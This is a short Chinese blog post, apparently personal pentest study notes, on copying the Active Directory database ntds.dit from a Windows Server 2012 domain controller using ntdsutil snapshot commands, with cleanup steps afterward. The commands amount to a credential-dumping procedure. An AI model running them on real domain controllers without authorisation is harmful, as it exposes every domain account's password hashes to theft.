Windows下ntds.dit的利用

  1. 提取ntds.dit

ntds.dit是windows下的一个文件,里面存放了域内机器的一些信息,但是就算是域控的账号也无法直接读取出来。这里讲讲提取的方式和读取的方式。


无法直接读取

记笔记记笔记~

提取ntds.dit

  • ntdsutil.exe: Windows Server 2003/08/12
  • vssadmin: Windows 7/Windows Server 2008

这里用12的机器做示范:

1
ntdsutil snapshot "activate instance ntds" create quit quit	//创建一个快照

快照包含Windows中的所有文件,并且复制的时候不会影响Windows本机,也不会受到限制

1
ntdsutil snapshot "mount {GUID}" quit quit	//加载快照


这个时候会映射出一个文件夹出来,GUID为每次生成镜像的GUID

然后用命令将ntds.dit复制出来

1
2
copy C:\$SNAP_202002282030_VOLUMEC$\windows\ntds\ntds.dit
c:\temp\ntds.dit

最后删除卸载快照

1
C:\Users\Administrator>ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

执行以下命令,若List为空,则说明卸载成功

1
ntdsutil snapshot "List All" quit quit

这就是ntdsutil的用法,win7下没有这个工具,需要利用vssadmin,这里没有win7域控的环境就先不搞了


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:Windows下ntds.dit的利用

本文作者:sher10ck

发布时间:2020-02-28, 20:14:10

最后更新:2020-02-28, 20:40:39

原始链接:http://sherlocz.github.io/2020/02/28/Windows下ntds-dit的利用/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录